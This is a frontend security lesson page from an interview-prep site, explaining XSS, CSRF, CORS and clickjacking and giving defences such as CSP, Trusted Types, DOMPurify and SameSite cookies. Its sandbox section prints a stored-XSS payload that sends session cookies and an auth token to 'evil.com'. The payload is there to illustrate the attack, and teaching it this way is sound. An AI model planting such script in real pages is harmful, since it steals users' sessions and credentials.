๐Ÿณ IntuitiveFE
Login
โ† All concepts

XSS / CSRF / CORS / Clickjacking

โฑ๏ธ ~4-minute bite ยท solve the sandbox to master

0%lesson
๐Ÿง’

5-Year-Old Metaphor

โ€” The physical, real-world picture. No jargon.

๐Ÿ” Four different locks โ€” each protects against a different kind of attacker.

๐Ÿ’‰ XSS โ€” A forged letter in the king's mail

Attacker's words are treated as commands by the court. Defense: inspect every letter before reading it aloud (output encoding).

๐ŸŽญ CSRF โ€” Tricking a guard into opening the gate while off duty

The guard (browser) trusts the uniform (cookie). Attacker makes the guard act without the guard realizing. Defense: require a secret password only the real guard knows (CSRF token / SameSite).

๐Ÿ›‚ CORS โ€” Border control checking your passport

Scripts from foreign origins can't read responses unless the server stamps a visa (Access-Control-Allow-Origin). The browser enforces this โ€” no passport, no data.

๐Ÿ–ฑ๏ธ Clickjacking โ€” Glass placed over a button

User sees fake UI, clicks a real (invisible) control. Defense: tell browsers your page can never be framed (X-Frame-Options: DENY).

The OWASP Top 10 mental model

Security vulnerabilities share a root cause: trusting input or context without validation. XSS = trusting user input as HTML. CSRF = trusting the origin of a request. CORS = trusting that the browser won't enforce boundaries. SQL injection = trusting user input as SQL syntax. The fix pattern is always the same: validate, encode, separate, and require proof of intent.

๐ŸŽ›๏ธ

Interactive Sandbox

โ€” Move something, see it react instantly.

Vulnerability

How the attack works

Attacker posts a comment containing <script>document.location='https://evil.com/steal?c='+document.cookie</script>. The DB stores it verbatim. Every user who loads the page executes the attacker's script โ€” their session cookies are sent to evil.com.

Malicious code
js
1// Attacker's comment stored in DB:
2<script>
3 fetch('https://evil.com/steal', {
4 method: 'POST',
5 body: JSON.stringify({
6 cookie: document.cookie,
7 token: localStorage.getItem('authToken'),
8 })
9 });
10</script>
11ย 
12// Vulnerable render:
13element.innerHTML = userComment; // โ† executes script!
Gotcha: React's JSX escapes HTML by default โ€” {userInput} is safe. The danger is dangerouslySetInnerHTML, which bypasses React's protection. Treat it like eval().
Insight: XSS has three variants: Stored (DBโ†’page), Reflected (URL paramโ†’page), DOM-based (JS reads URL and writes to DOM without server). CSP is the strongest defense โ€” it stops XSS even if encoding is missed.
Explored:๐Ÿ’‰๐ŸŽญ๐Ÿ›‚๐Ÿ–ฑ๏ธ๐Ÿ—ƒ๏ธ
๐ŸŽฏ

Challenge

View the attack and defense for all 5 vulnerabilities. Understand the mechanism before the mitigation.

Try it
๐ŸŽฏ

Why Should I Care?

โ€” The exact interview question + the bug it kills.

Interview questions

Q: Stored vs Reflected vs DOM XSS โ€” what's the difference?

Stored XSS: Malicious script saved in DB. Served to every user who loads the page. Widest impact.

Reflected XSS: Script in URL parameter. Server reflects it in the response without storing. Requires phishing the victim to click a crafted URL.

DOM XSS: Client-side JS reads URL (location.hash, search params) and writes to the DOM using innerHTML. Never touches the server. Hardest to detect with server-side scanning.

Q: How does SameSite cookie prevent CSRF?

js
1Set-Cookie: session=abc; SameSite=Strict
2// SameSite=Strict: cookie NOT sent with any cross-site request
3// POST from evil.com โ†’ bank.com: session cookie omitted
4// Bank sees unauthenticated request โ†’ rejects it
5ย 
6Set-Cookie: session=abc; SameSite=Lax
7// SameSite=Lax: cookie sent with top-level navigation GET
8// (clicking a link to bank.com), NOT with cross-site POSTs
9// This is Chrome's default since 2021
10ย 
11Set-Cookie: session=abc; SameSite=None; Secure
12// Required for cross-site embedding (iframes, widgets)
13// Must use HTTPS

Q: Why doesn't CORS protect the server?

CORS is enforced by the browser. The request still reaches the server โ€” the browser just blocks JavaScript from reading the response. A server-side attacker (curl, Python script, another server) completely bypasses CORS. CORS protects the browser user's data from malicious scripts; it does not protect your API from direct access. Rate limiting, authentication, and input validation protect the API.

Bug: using innerHTML with user data

js
1// โœ— BUG: innerHTML executes scripts
2element.innerHTML = userComment;
3ย 
4// โœ“ FIX 1: textContent (no HTML parsing at all)
5element.textContent = userComment;
6ย 
7// โœ“ FIX 2: DOMPurify (when you need HTML formatting)
8import DOMPurify from 'dompurify';
9element.innerHTML = DOMPurify.sanitize(userComment, {
10 ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
11 ALLOWED_ATTR: ['href'],
12});
13ย 
14// โœ“ FIX 3: React โ€” JSX is safe, dangerouslySetInnerHTML is not
15// Safe:
16<div>{userComment}</div>
17// Unsafe โ€” treat like eval():
18<div dangerouslySetInnerHTML={{ __html: userComment }} />
๐Ÿ”ฌ

The Deep Dive

โ€” Spec refs, engine internals, the minutiae.

Content Security Policy directives

js
1Content-Security-Policy:
2 default-src 'self'; // fallback for all directives
3 script-src 'self' https://cdn.com; // scripts: self + CDN only
4 style-src 'self' 'unsafe-inline'; // styles allow inline
5 img-src *; // images from anywhere
6 connect-src 'self' https://api.com; // fetch/XHR destinations
7 font-src https://fonts.google.com; // web fonts
8 frame-ancestors 'none'; // block framing (vs X-Frame-Options)
9 report-uri /csp-report; // CSP violations โ†’ your endpoint
10 upgrade-insecure-requests; // force HTTPS
11ย 
12// Nonce-based (best for inline scripts)
13Content-Security-Policy: script-src 'nonce-{RANDOM_BASE64}'
14<script nonce="{RANDOM_BASE64}">/* safe inline script */</script>

Trusted Types API โ€” DOM XSS prevention

Trusted Types force you to explicitly mark strings as safe before assigning to DOM sinks. The browser rejects plain strings in innerHTML, eval, etc. โ€” only TrustedHTML objects are accepted.

ts
1// CSP opt-in
2Content-Security-Policy: require-trusted-types-for 'script'
3ย 
4// Create a policy that sanitizes
5const policy = trustedTypes.createPolicy('sanitize', {
6 createHTML: (input) => DOMPurify.sanitize(input),
7});
8ย 
9// โœ“ Safe โ€” browser allows this
10element.innerHTML = policy.createHTML(userInput);
11ย 
12// โœ— Blocked by browser โ€” plain string rejected
13element.innerHTML = userInput; // TypeError: string is not TrustedHTML

Subresource Integrity (SRI)

SRI ensures CDN scripts haven't been tampered with. The browser computes the hash of the fetched resource and compares it to the integrity attribute. Mismatch โ†’ resource blocked.

html
1<script
2 src="https://cdn.example.com/library.min.js"
3 integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
4 crossorigin="anonymous"
5></script>
6ย 
7// Generate the hash:
8openssl dgst -sha384 -binary library.min.js | openssl base64 -A

HSTS โ€” HTTP Strict Transport Security

js
1Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2ย 
3// max-age=31536000 โ†’ 1 year. Browser only connects via HTTPS.
4// includeSubDomains โ†’ applies to api.example.com too
5// preload โ†’ browser ships with a hardcoded HSTS list (no first-visit downgrade)
6ย 
7// Submit to: https://hstspreload.org

Security header checklist

Content-Security-Policy

Allowlist scripts, styles, frames. Strongest XSS defense.

X-Frame-Options: DENY

Prevent clickjacking via iframe embedding.

Strict-Transport-Security

Force HTTPS for 1 year. Include in preload list.

X-Content-Type-Options: nosniff

Prevent MIME sniffing attacks.

Referrer-Policy: no-referrer

Don't leak URLs in Referer header.

Permissions-Policy

Disable camera, mic, geolocation per page.

๐ŸŽค

Interview Questions

โ€” Real questions from real interviews โ€” with answers.

Use nonces for inline scripts; allowlist trusted CDN origins; avoid unsafe-inline for scripts.

Stored: DBโ†’page (widest impact). Reflected: URLโ†’page. DOM: JS reads URL and writes to DOM (no server involved).

Strict blocks cookies on all cross-site requests. None is required for embedded widgets and OAuth flows.

X-Frame-Options: DENY or CSP frame-ancestors 'none' โ€” CSP is the modern standard.

Sanitize on write with a strict allowlist; apply CSP as defense-in-depth; use Trusted Types.

HttpOnly cookies are immune to XSS token theft; localStorage/sessionStorage are not.

๐ŸŽฎ

Memory Game

โ€” Quick quiz โ€” lock the concept in long-term memory.
1/4

What is SQL injection and what is the definitive prevention?